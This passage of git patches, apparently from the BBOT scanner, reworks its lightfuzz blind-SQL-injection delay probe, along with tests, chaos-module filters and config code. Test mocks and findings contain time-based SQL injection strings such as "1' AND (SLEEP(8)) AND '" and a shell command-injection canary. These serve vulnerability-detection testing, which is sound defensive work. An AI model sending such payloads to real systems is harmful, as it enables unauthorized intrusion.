for template in self.DELAY_PROBE_TEMPLATES: + # Stage 1: fast gate at delay_low + low_times = [] + stage1_failed = False + for _ in range(self.delay_stage1_reps): + payload_low = template.format(d=self.delay_low) r = await self.standard_probe( self.event.data["type"], cookies, - f"{probe_value}{p}", + f"{probe_value}{payload_low}", additional_params_populate_empty=True, timeout=20, ) if not r: - self.debug("delay measure request failed") + self.debug("Stage 1 delay probe request failed") + stage1_failed = True break + if r.status_code == 403: + self.debug("Stage 1 probe returned 403, skipping template") + stage1_failed = True + break + low_times.append(r.elapsed.total_seconds()) - d = r.elapsed.total_seconds() - self.debug(f"measured delay: {str(d)}") - if self.evaluate_delay( - mean_baseline, d - ): # decide if the delay is within the detection threshold and constitutes a successful sleep execution - confirmations += 1 - self.debug( - f"{self.event.url}:{self.event.data['name']}:{self.event.data['type']} Increasing confirmations, now: {str(confirmations)} " - ) - else: + if stage1_failed or not low_times: + continue + + f_low = min(low_times) + d_low = f_low - base_floor + + k = None + for candidate_k in (1, 2): + if abs(d_low - candidate_k * self.delay_low) <= self.delay_margin: + k = candidate_k break - if confirmations == 3: + if k is None: + self.debug(f"Stage 1 rejected: d_low={d_low:.2f}s does not match delay_low={self.delay_low}s") + continue + + self.verbose(f"Stage 1 passed {self.event.url}: d_low={d_low:.2f}s, k={k}, proceeding to Stage 2") + + # Stage 2: scaling confirmation at delay_high + high_times = [] + stage2_failed = False + for _ in range(self.delay_stage2_reps): + payload_high = template.format(d=self.delay_high) + r = await self.standard_probe( + self.event.data["type"], + cookies, + f"{probe_value}{payload_high}", + additional_params_populate_empty=True, + timeout=30, + ) + if not r: + self.debug("Stage 2 delay probe request failed") + stage2_failed = True + break + if r.status_code == 403: + self.debug("Stage 2 probe returned 403, skipping template") + stage2_failed = True + break + high_times.append(r.elapsed.total_seconds()) + + if stage2_failed or not high_times: + continue + + f_high = min(high_times) + d_high = f_high - base_floor + + absolute_ok = abs(d_high - k * self.delay_high) <= self.delay_margin + scaling_ok = abs((f_high - f_low) - k * (self.delay_high - self.delay_low)) <= self.delay_scale_margin + + if absolute_ok and scaling_ok: self.results.append( { "name": "Possible Blind SQL Injection", "severity": "HIGH", - "confidence": "LOW", - "description": f"Possible Blind SQL Injection. {self.metadata()} Detection Method: [Delay Probe ({p})]", + "confidence": "MEDIUM", + "description": ( + f"Possible Blind SQL Injection. {self.metadata()} " + f"Detection Method: [Delay Probe " + f"(k={k}, {self.delay_low}s->{d_low:.1f}s, {self.delay_high}s->{d_high:.1f}s)] " + f"Payload: [{payload_high}]" + ), } ) + else: + self.verbose( + f"Stage 2 rejected {self.event.url}: d_high={d_high:.2f}s, " + f"absolute_ok={absolute_ok}, scaling_ok={scaling_ok}" + ) else: self.debug("Could not get baseline for time-delay tests") diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index a79f6f1eac..1457b3a643 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1529,8 +1529,10 @@ def request_handler(self, request):
    """ - if "' AND (SLEEP(5)) AND '" in unquote(value): - sleep(5) + decoded = unquote(value) + m = re.search(r"AND \(SLEEP\((\d+)\)\) AND", decoded) + if m: + sleep(int(m.group(1))) return Response(sql_block, status=200) return Response(parameter_block, status=200) @@ -1543,9 +1545,11 @@ def check(self, module_test, events): web_parameter_emitted = True if e.type == "FINDING": + desc = e.data["description"] if ( - "Possible Blind SQL Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [Delay Probe (1' AND (SLEEP(5)) AND ')]" - in e.data["description"] + "Possible Blind SQL Injection" in desc + and "Delay Probe" in desc + and "1' AND (SLEEP(8)) AND '" in desc ): sqldelay_finding_emitted = True @@ -1590,8 +1594,9 @@ def request_handler(self, request): # Only the one-shot row-independent MySQL payload triggers a delay. # The original AND-based mysql probe does not fire here, simulating # a context where the injected value does not match any row. - if "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in decoded: - sleep(5) + m = re.search(r"OR SLEEP\((\d+)\) IS NOT NULL", decoded) + if m: + sleep(int(m.group(1))) return Response(sql_block, status=200) return Response(parameter_block, status=200) @@ -1604,7 +1609,11 @@ def check(self, module_test, events): web_parameter_emitted = True if e.type == "FINDING": desc = e.data["description"] - if "Possible Blind SQL Injection" in desc and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc: + if ( + "Possible Blind SQL Injection" in desc + and "Delay Probe" in desc + and "OR SLEEP(8) IS NOT NULL LIMIT 1-- -" in desc + ): one_shot_delay_finding = True # Guard against regression of the missing-comma bug: Python string-literal @@ -1618,10 +1627,53 @@ def check(self, module_test, events): assert web_parameter_emitted, "WEB_PARAMETER was not emitted" assert one_shot_delay_finding, ( - "One-shot row-independent SLEEP finding not emitted — row-independent blind sqli detection regression." + "One-shot row-independent SLEEP finding not emitted - row-independent blind sqli detection regression." ) +class Test_Lightfuzz_sqli_delay_jitter_fp(Test_Lightfuzz_sqli): + """Payload-independent jitter must not produce a blind SQLi finding.""" + + _jitter_idx = 0 + + def request_handler(self, request): + from time import sleep + + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + sql_block = """ +
    +

    0 search results found

    +
    +
    + """ + jitter = [0.1, 0.4, 0.15, 0.5, 0.2, 0.35, 0.45, 0.1, 0.3, 0.25] + idx = self.__class__._jitter_idx + sleep(jitter[idx % len(jitter)]) + self.__class__._jitter_idx = idx + 1 + return Response(sql_block, status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + self.__class__._jitter_idx = 0 + await super().setup_after_prep(module_test) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING" and "SQL Injection" in e.data.get("description", ""): + raise AssertionError( + f"False positive: finding emitted under jitter-only conditions: {e.data['description']}" + ) + + # Serialization Module (Error Resolution) class Test_Lightfuzz_serial_errorresolution(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From 6e90c846431d90a7133b22ac9dc55dba501ac310 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 8 Jun 2026 15:22:51 -0400 Subject: [PATCH 756/912] fix apex-flood false-negative and tighten PTR regex - Skip per-parent cap when parent == query (apex), so >300 direct-apex subdomains are not silently dropped - Require exactly 4 groups of 1-3 digits in PTR patterns, preventing false positives on date-prefixed names - Add TestChaosApexFlood and date-survival assertion --- bbot/modules/chaos.py | 7 ++-- .../module_tests/test_module_chaos.py | 35 +++++++++++++++++++ 2 files changed, 38 insertions(+), 4 deletions(-) diff --git a/bbot/modules/chaos.py b/bbot/modules/chaos.py index c84dad2698..ccef0ccc4e 100644 --- a/bbot/modules/chaos.py +++ b/bbot/modules/chaos.py @@ -7,9 +7,9 @@ PER_PARENT_CAP = 300 PTR_NOISE_PATTERNS = [ # leading dotted IPv4-style octets, e.g. 001.106.103.218.static.netvigator.com - re.compile(r"^\d{1,4}(\.\d{1,4}){2,}(\.|$)"), + re.compile(r"^\d{1,3}(\.\d{1,3}){3}(\.|$)"), # leading hyphenated IPv4-style octets, e.g. 000-1-246-220.static.netvigator.com - re.compile(r"^\d{1,4}(-\d{1,4}){2,}(\.|$|-)"), + re.compile(r"^\d{1,3}(-\d{1,3}){3}(\.|$|-)"), ] @@ -45,9 +45,8 @@ def _collapse(subdomains, domain, query): out = set() capped = [] for parent, kids in parent_children.items(): - if len(kids) > PER_PARENT_CAP: + if len(kids) > PER_PARENT_CAP and parent != query: capped.append((parent, len(kids))) - # emit just the parent so bbot's DNS layer can decide wildcard status out.add(parent) else: out.update(kids) diff --git a/bbot/test/test_step_2/module_tests/test_module_chaos.py b/bbot/test/test_step_2/module_tests/test_module_chaos.py index b8a34e427f..dd23b726ac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_chaos.py +++ b/bbot/test/test_step_2/module_tests/test_module_chaos.py @@ -57,6 +57,8 @@ async def setup_before_prep(self, module_test): flood.extend(f"host{i}.bigparent" for i in range(400)) # A normal subdomain under a different parent — should pass through. flood.append("realone.normalparent") + # Date-prefixed name that should NOT be caught by the PTR filter. + flood.append("2024.01.15.report.bigparent") module_test.blasthttp_mock.add_response( url="https://dns.projectdiscovery.io/dns/example.com", @@ -98,3 +100,36 @@ def check(self, module_test, events): assert not any(frag in d for d in emitted), ( f"PTR-style name containing {frag!r} should have been filtered; got {emitted}" ) + + # Date-prefixed names must NOT be filtered (only 4-group IPv4 patterns are) + assert "2024.01.15.report.bigparent.blacklanternsecurity.com" in emitted, ( + f"Date-prefixed subdomain should survive PTR filter; got {emitted}" + ) + + +class TestChaosApexFlood(ModuleTestBase): + """>300 subdomains directly under the queried apex must not be collapsed.""" + + modules_overrides = ["chaos"] + config_overrides = {"modules": {"chaos": {"api_key": "asdf"}}} + + async def setup_before_prep(self, module_test): + module_test.blasthttp_mock.add_response( + url="https://dns.projectdiscovery.io/dns/example.com", + match_headers={"Authorization": "asdf"}, + json={"domain": "example.com", "subdomains": 65}, + ) + flood = [f"svc{i}" for i in range(400)] + ["realsub.cluster"] + module_test.blasthttp_mock.add_response( + url="https://dns.projectdiscovery.io/dns/blacklanternsecurity.com/subdomains", + match_headers={"Authorization": "asdf"}, + json={"domain": "blacklanternsecurity.com", "subdomains": flood}, + ) + + def check(self, module_test, events): + assert module_test.scan.modules["chaos"].errored is False + emitted = [e.data for e in events if e.module and getattr(e.module, "name", "") == "chaos"] + assert any(d.startswith("svc") for d in emitted), ( + f"Direct-apex subdomains should not be collapsed; got {emitted}" + ) + assert "realsub.cluster.blacklanternsecurity.com" in emitted, f"Nested subdomain should survive; got {emitted}" From edcd7c478dea3195b1653f9ba742aae628fb6a77 Mon Sep 17 00:00:00 2001 From: Austin Stark <14080242+ausmaster@users.noreply.github.com> Date: Mon, 8 Jun 2026 12:23:09 -0700 Subject: [PATCH 757/912] Coerce config via pydantic TypeAdapter instead of type-name parsing coerce_value now validates each config value against its field's real pydantic TypeAdapter (a "TryParse"): attempt the value, return it coerced on success, and leave it unchanged on ValidationError so the schema pass reports the real error rather than coercion silently swallowing it. config_type_index is rebuilt by walking the materialized config schema (global config + every module's exec'd Config), memoizing one TypeAdapter per annotation. Nested models are recursed into via _field_submodel, so modules..
    Alice + Bob + Carol + + """ + + def check(self, module_test, events): + keystream_findings = [ + e + for e in events + if e.type == "FINDING" and "Stream Cipher Keystream Reuse" in e.data.get("description", "") + ] + assert not keystream_findings, ( + f"FP keystream-reuse on MongoDB ObjectIds: {[f.data.get('description') for f in keystream_findings]}" + ) + + +# --------------------------------------------------------------------------- +# WEB_PARAMETER type restored after conversion passes +# --------------------------------------------------------------------------- + + +class Test_Lightfuzz_type_mutation_restored(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["xss"], + "try_get_as_post": True, + "emit_baseline_responses": False, + }, + }, + } + + def request_handler(self, request): + parameter_block = """ + +
    + + +
    + + """ + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + self._captured_params = [] + original_handle = module_test.scan.modules["lightfuzz"].handle_event + + async def tracking_handle(event): + await original_handle(event) + if event.type == "WEB_PARAMETER": + self._captured_params.append( + { + "name": event.data.get("name"), + "type": event.data.get("type"), + "converted_from_get": event.data.get("converted_from_get"), + "converted_from_post": event.data.get("converted_from_post"), + } + ) + + module_test.scan.modules["lightfuzz"].handle_event = tracking_handle + + def check(self, module_test, events): + assert self._captured_params, "No WEB_PARAMETERs were processed by lightfuzz" + getparams = [p for p in self._captured_params if p["name"] == "q"] + assert getparams, "No GETPARAM 'q' was processed by lightfuzz" + for p in getparams: + assert p["type"] == "GETPARAM", ( + f"WEB_PARAMETER '{p['name']}' type was not restored after conversion passes: " + f"type={p['type']}, converted_from_get={p['converted_from_get']}" + ) + assert p["converted_from_get"] is None, ( + f"WEB_PARAMETER '{p['name']}' still has converted_from_get flag after handle_event" + ) + assert p["converted_from_post"] is None, ( + f"WEB_PARAMETER '{p['name']}' still has converted_from_post flag after handle_event" + ) + + +# --------------------------------------------------------------------------- +# cmdi arithmetic canary rejects leading-zero multiplicands +# --------------------------------------------------------------------------- + + +class Test_Lightfuzz_cmdi_no_leading_zero_arith(Test_Lightfuzz_cmdi): + """The arithmetic confirmation cascade must not produce leading-zero + multiplicands, which bash interprets as octal (diverging from Python's + decimal int()). This test forces rand_string to return a leading-zero + value first, then verifies that the while loop rejects it and the + detection still succeeds with a valid pair against a faithful bash mock. + """ + + _rand_call_idx = 0 + + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Faithful bash arithmetic: leading-zero literals are octal + arith = re.search(r"&& echo \$\(\((\d+)\*(\d+)\)\) &&", decoded) + if arith: + a_str, b_str = arith.group(1), arith.group(2) + try: + a_val = int(a_str, 8) if (len(a_str) > 1 and a_str[0] == "0") else int(a_str) + b_val = int(b_str, 8) if (len(b_str) > 1 and b_str[0] == "0") else int(b_str) + cmdi_value = str(a_val * b_val) + except ValueError: + cmdi_value = "" + elif "&& echo " in decoded: + cmdi_value = decoded.split("&& echo ")[1].split(" ")[0] + else: + cmdi_value = decoded + cmdi_block = f""" +
    +

    0 search results for '{cmdi_value}'

    +
    +
    + """ + return Response(cmdi_block, status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + # Cycle: first pair always has a leading zero (tests rejection), + # second pair is clean. Repeats for every cmdi submodule instance + # so the test works regardless of how many WEB_PARAMETERs excavate + # produces. + self.__class__._rand_call_idx = 0 + + def rand_string(*args, **kwargs): + if kwargs.get("numeric_only"): + if args and args[0] == 10: + return "1234567890" + idx = self.__class__._rand_call_idx + self.__class__._rand_call_idx += 1 + phase = idx % 4 + if phase == 0: + return "01234" + elif phase == 1: + return "56789" + elif phase == 2: + return "12345" + else: + return "67890" + return "AAAAAAAAAAAAAA" + + module_test.scan.modules["lightfuzz"].helpers.rand_string = rand_string + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + cmdi_finding = any( + e.type == "FINDING" + and "POSSIBLE OS Command Injection" in e.data.get("description", "") + and "arithmetic canary (POSIX)" in e.data.get("description", "") + for e in events + ) + assert cmdi_finding, ( + "POSIX arithmetic canary CMDi finding not emitted -- " + "leading-zero multiplicand may have been used (bash octal vs Python decimal)" + ) + + +# --------------------------------------------------------------------------- +# Connectivity test does not cache None (transient failure) +# --------------------------------------------------------------------------- + + +class Test_Lightfuzz_connectivity_no_cache_none(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["xss"], + "emit_baseline_responses": False, + }, + }, + } + + _request_count = {"connectivity": 0} + + def request_handler(self, request): + parameter_block = """ + +
    + + +
    + + """ + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + lf = module_test.scan.modules["lightfuzz"] + original_request = lf.helpers.request + self.__class__._request_count = {"connectivity": 0} + + async def flaky_request(url, **kwargs): + if kwargs.get("timeout") == 10: + self.__class__._request_count["connectivity"] += 1 + if self.__class__._request_count["connectivity"] == 1: + return None + return await original_request(url, **kwargs) + + lf.helpers.request = flaky_request + + def check(self, module_test, events): + lf = module_test.scan.modules["lightfuzz"] + for url, resp in lf._connectivity_test_cache.items(): + assert resp is not None, ( + f"Connectivity cache poisoned with None for {url} -- " + f"transient failure was cached, blocking all params on this page" + ) + assert self.__class__._request_count["connectivity"] >= 2, ( + f"Only {self.__class__._request_count['connectivity']} connectivity request(s) made -- " + f"expected retry after transient failure" + ) From d6017e73fdda9ac9e32b9b8fadddd80cb4eea371 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 10:16:39 -0400 Subject: [PATCH 766/912] Fix TestCRT_DB_Reconnect: match result domain to query --- .../test_step_2/module_tests/test_module_crt_db.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_crt_db.py b/bbot/test/test_step_2/module_tests/test_module_crt_db.py index dbc799ab35..fa1e9f9419 100644 --- a/bbot/test/test_step_2/module_tests/test_module_crt_db.py +++ b/bbot/test/test_step_2/module_tests/test_module_crt_db.py @@ -42,11 +42,12 @@ class TestCRT_DB_Reconnect(ModuleTestBase): modules_overrides = ["crt_db"] async def setup_after_prep(self, module_test): - # first fetch raises "connection is closed"; subsequent fetches succeed async def fetch_succeed(self, *args, **kwargs): - return [{"name_value": "reconnect.blacklanternsecurity.com"}] + # args[1] is the query (domain); return a subdomain matching it + query = args[1] if len(args) > 1 else "blacklanternsecurity.com" + return [{"name_value": f"reconnect.{query}"}] - async def fetch_then_succeed(self, *args, **kwargs): + async def fetch_then_fail(self, *args, **kwargs): self._closed = True raise ConnectionError("connection is closed") @@ -55,9 +56,8 @@ async def fetch_then_succeed(self, *args, **kwargs): async def mock_connect(*args, **kwargs): self.connect_count += 1 conn = FakeAsyncpgConn() - # first connection's fetch raises closed; second connection succeeds if self.connect_count == 1: - conn.fetch = fetch_then_succeed.__get__(conn) + conn.fetch = fetch_then_fail.__get__(conn) else: conn.fetch = fetch_succeed.__get__(conn) return conn @@ -66,6 +66,6 @@ async def mock_connect(*args, **kwargs): def check(self, module_test, events): assert self.connect_count >= 2, "Module did not reconnect after closed connection" - assert any(e.data == "reconnect.blacklanternsecurity.com" for e in events), ( + assert any(isinstance(e.data, str) and e.data.startswith("reconnect.") for e in events), ( "Failed to detect subdomain after reconnect" ) From 451d14df2fb03743e42b85c8d10ff7e1dfc833e4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 9 Jun 2026 10:28:57 -0400 Subject: [PATCH 767/912] virtualhost: migrate options to Config(BaseModuleConfig) --- bbot/modules/virtualhost.py | 53 +++++++++++++++++++------------------ uv.lock | 46 ++++++++++++++++---------------- 2 files changed, 50 insertions(+), 49 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 6270ab4c5c..f6550a4963 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -3,6 +3,7 @@ import string from bbot.modules.base import BaseModule +from bbot.core.config.models import BaseModuleConfig, Field from bbot.core.helpers.simhash import compute_simhash @@ -19,32 +20,32 @@ class virtualhost(BaseModule): MAX_RESULTS_FLOOD_PROTECTION = 50 special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] - options = { - "brute_wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", - "force_basehost": "", - "brute_lines": 2000, - "subdomain_brute": True, - "mutation_check": True, - "special_hosts": False, - "certificate_sans": False, - "max_concurrent_requests": 80, - "require_inaccessible": True, - "wordcloud_check": False, - "report_interesting_default_content": True, - } - options_desc = { - "brute_wordlist": "Wordlist containing subdomains", - "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", - "brute_lines": "take only the first N lines from the wordlist when finding directories", - "subdomain_brute": "Enable subdomain brute-force on target host", - "mutation_check": "Enable trying mutations of the target host", - "special_hosts": "Enable testing of special virtual host list (localhost, etc.)", - "certificate_sans": "Enable extraction and testing of Subject Alternative Names from certificates", - "wordcloud_check": "Enable check using scan-wide wordcloud data on target host", - "max_concurrent_requests": "Maximum number of concurrent virtual host requests", - "require_inaccessible": "Only test virtual hosts that are not directly accessible (for discovering hidden content)", - "report_interesting_default_content": "Report interesting default content", - } + + class Config(BaseModuleConfig): + brute_wordlist: str = Field( + "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", + description="Wordlist containing subdomains", + ) + force_basehost: str = Field( + "", + description="Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", + ) + brute_lines: int = Field( + 2000, description="Take only the first N lines from the wordlist when finding directories" + ) + subdomain_brute: bool = Field(True, description="Enable subdomain brute-force on target host") + mutation_check: bool = Field(True, description="Enable trying mutations of the target host") + special_hosts: bool = Field(False, description="Enable testing of special virtual host list (localhost, etc.)") + certificate_sans: bool = Field( + False, description="Enable extraction and testing of Subject Alternative Names from certificates" + ) + max_concurrent_requests: int = Field(80, description="Maximum number of concurrent virtual host requests") + require_inaccessible: bool = Field( + True, + description="Only test virtual hosts that are not directly accessible (for discovering hidden content)", + ) + wordcloud_check: bool = Field(False, description="Enable check using scan-wide wordcloud data on target host") + report_interesting_default_content: bool = Field(True, description="Report interesting default content") in_scope_only = True diff --git a/uv.lock b/uv.lock index 8cd80b1ec3..d64361dbf3 100644 --- a/uv.lock +++ b/uv.lock @@ -311,9 +311,9 @@ dev = [ { name = "pytest-httpx", specifier = ">=0.35" }, { name = "pytest-rerunfailures", specifier = ">=14,<17" }, { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, - { name = "ruff", specifier = "==0.15.15" }, + { name = "ruff", specifier = "==0.15.16" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.49" }, + { name = "uvicorn", specifier = ">=0.32,<0.50" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, ] docs = [ @@ -2791,27 +2791,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.15" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/84/6f/a76f7d96e5c962f5b69cee865e49c15c1116897c01990faa8a57edb62e7f/ruff-0.15.15.tar.gz", hash = "sha256:b8dff018130b46d8e5bf0f926ef6b60cf871d6d5ae45fc9334e09632daa741d6", size = 4706985, upload-time = "2026-05-28T14:16:57.784Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/fa/9d/3a45c05b8ab04b4705989de70a79008e27c8003296a0feaee9edc18dd7e9/ruff-0.15.15-py3-none-linux_armv6l.whl", hash = "sha256:cf93e5388f412e1b108b1f8b34a6e036b70fe8aff89393befad96fe48670311b", size = 10710652, upload-time = "2026-05-28T14:16:06.701Z" }, - { url = "https://files.pythonhosted.org/packages/05/66/da974431624bf3b49f6ee1f9543c02d929ff1cba78b0d5a79c38cf21f744/ruff-0.15.15-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ac5a646d1f6a7dadd5d50842dae2c1f9862ac887ef5d1b1375e02def791fde6e", size = 11096615, upload-time = "2026-05-28T14:16:23.313Z" }, - { url = "https://files.pythonhosted.org/packages/8c/09/7443452e5d290230a712103f2fdceeef7184f3ec99a2bd01c8be78aaceb5/ruff-0.15.15-py3-none-macosx_11_0_arm64.whl", hash = "sha256:77d955a431430c66f72dd94e379ad38a16daea3d25094872ac4edf9e797be530", size = 10436683, upload-time = "2026-05-28T14:16:40.974Z" }, - { url = "https://files.pythonhosted.org/packages/53/01/d330c26a57fa4f3943a14424904027428315b700fe4d14a84bb123a649e5/ruff-0.15.15-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7614ee79c69788cf6cedd568069ade9cecc22a1ad20494efe8d0c9ebb4b622d4", size = 10769064, upload-time = "2026-05-28T14:16:28.905Z" }, - { url = "https://files.pythonhosted.org/packages/1d/85/cc8770f8bdff541b1da8392d1634141fe4a0e3f4ee596605959b7906c27f/ruff-0.15.15-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3cdb1679e06a1f6b47bc384714ae96f6e2fb65ca441eb78c43d2ca554176ce1f", size = 10511987, upload-time = "2026-05-28T14:16:43.732Z" }, - { url = "https://files.pythonhosted.org/packages/7c/29/8c190c1472b63013583ba391f3342036e02010544c1270455ed8e519bdf3/ruff-0.15.15-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2728b93d7b23a603ea2c0ac6eb73d760bd38ec9de35f35fb41e18f7a3fee7622", size = 11275100, upload-time = "2026-05-28T14:16:55.244Z" }, - { url = "https://files.pythonhosted.org/packages/9f/6b/7e145ce2cc8e63d6834eca03d83a0e18d121def5c69f91b4cf4011ed4879/ruff-0.15.15-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be582fcc0db438902c7792b08d6ddf6c9b9e21addaa10092c2c741cfb09e5a45", size = 12176903, upload-time = "2026-05-28T14:16:14.368Z" }, - { url = "https://files.pythonhosted.org/packages/80/a3/d5974637f68e451f7fadf015cf3101d1cd7d8ba5027cffe0b9e3826ebe6b/ruff-0.15.15-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7aa77465b8ecaf1a27bea098d696f7fed5e1eccbd10b321b682d6de586ae5627", size = 11404550, upload-time = "2026-05-28T14:16:20.138Z" }, - { url = "https://files.pythonhosted.org/packages/fe/1c/e6e5e568f22be4fb05d6244234aba384c06b451252453b821e1a529263cf/ruff-0.15.15-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48decfa11d740de4889de623be1463308346312f2409a56e24aa280c86162dc4", size = 11382027, upload-time = "2026-05-28T14:16:46.615Z" }, - { url = "https://files.pythonhosted.org/packages/1d/01/170921b49fcd2e8858825593f91cf7146c3e40a5c3e6df763e4bb0484dde/ruff-0.15.15-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a5015088452ca0081387063649ec67f06d3d1d6b8b936a1f836b5e9657ecd48c", size = 11366041, upload-time = "2026-05-28T14:16:26.247Z" }, - { url = "https://files.pythonhosted.org/packages/87/54/a7bad711d7de93254e15e06a4c375b89a03d18de45d3e5dcc86a4472fb1a/ruff-0.15.15-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f5294aab6356c81600fcdea3a62bb1b924dfd5e91767c12318d3f68f86af57cd", size = 10741795, upload-time = "2026-05-28T14:16:17.11Z" }, - { url = "https://files.pythonhosted.org/packages/c9/31/38c075963668f8b41c6914ee0f6f318727fbe30ab9145cb29e6df464c5fa/ruff-0.15.15-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:db5bd4d802415cca656dc1616070b725952d6ae95eb5d4831e49fbd94a38f75f", size = 10511117, upload-time = "2026-05-28T14:16:31.767Z" }, - { url = "https://files.pythonhosted.org/packages/9d/96/6ff689e1f7e375d1d97075eca022f74c2bab59554a432fe4d2e6f091986a/ruff-0.15.15-py3-none-musllinux_1_2_i686.whl", hash = "sha256:587a6278ed42059191c1a466e490bd7930fb50bd2e255398bc29616c895a61cb", size = 10994867, upload-time = "2026-05-28T14:16:35.149Z" }, - { url = "https://files.pythonhosted.org/packages/c3/c2/5dce0ab9f92a8d534fa62b9bf9caca3eddb8c1a81b616f5e195ada4f0d6e/ruff-0.15.15-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:df0c1c084f5f4be9812f61518a45c440d3c30d69ce4bf6c5270e66d38338f02a", size = 11482101, upload-time = "2026-05-28T14:16:49.598Z" }, - { url = "https://files.pythonhosted.org/packages/b1/c0/1003b60edd697c649faf61f1a34094b1abb38fb3d1181e3f895781250a08/ruff-0.15.15-py3-none-win32.whl", hash = "sha256:29428ea79694afbe756d45fd59b36f22b6b020dc0443cf7de0173046236964b9", size = 10716774, upload-time = "2026-05-28T14:16:52.337Z" }, - { url = "https://files.pythonhosted.org/packages/02/a8/1269eddd6945a06c23f055ef7848886e37cf9d6a8bebb386a3115f01470c/ruff-0.15.15-py3-none-win_amd64.whl", hash = "sha256:8df0323902e15e24bc4bf246da830573d3cf3352bd0b9a164eab335d111ff4a4", size = 11868463, upload-time = "2026-05-28T14:16:11.333Z" }, - { url = "https://files.pythonhosted.org/packages/4e/b2/920464c907b191e37469d477a1aa8bc048b8f36c4c1610dfa4ab87b39e18/ruff-0.15.15-py3-none-win_arm64.whl", hash = "sha256:3c8ceca6792f38196b8f589bc92eccd03eef286602da92e5dc05cc42ef6441b7", size = 11138498, upload-time = "2026-05-28T14:16:38.425Z" }, +version = "0.15.16" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/5f7ec371001337d8fa61701c186ff8b613ecac1651848c5950f4c4d5f2e9/ruff-0.15.16.tar.gz", hash = "sha256:d05e78d38c78caf020b03789e25106c93017db5a0cb6e2819885018c61343b78", size = 4714267, upload-time = "2026-06-04T16:33:09.974Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/42/53ef1c3953f157956db9bf7861e3bc50b9b887ce93300aa48cdba8336fe6/ruff-0.15.16-py3-none-linux_armv6l.whl", hash = "sha256:6ac3c0b3969cc6cf6b158c4e2f8f682acb58e7d700d8a44b65ecdc72d66ab0b2", size = 10709025, upload-time = "2026-06-04T16:32:51.935Z" }, + { url = "https://files.pythonhosted.org/packages/93/9a/a79159346f19134a956607754e57d8d128f7a4c00f4ad2f7514d224c172c/ruff-0.15.16-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:197c207ed75ffba54a0dec23db4aa939a27a3053073e085e0042433cbdc58e4a", size = 11063550, upload-time = "2026-06-04T16:32:42.24Z" }, + { url = "https://files.pythonhosted.org/packages/bc/72/3ce2ac000a5299ec238e01f51397b3b653c93b077d9b1bfe8715bb895f20/ruff-0.15.16-py3-none-macosx_11_0_arm64.whl", hash = "sha256:3a39fec45ab316cc23e7558f23fea4a70403ddb5648ea9a4a3854a16973d0071", size = 10421345, upload-time = "2026-06-04T16:32:37.251Z" }, + { url = 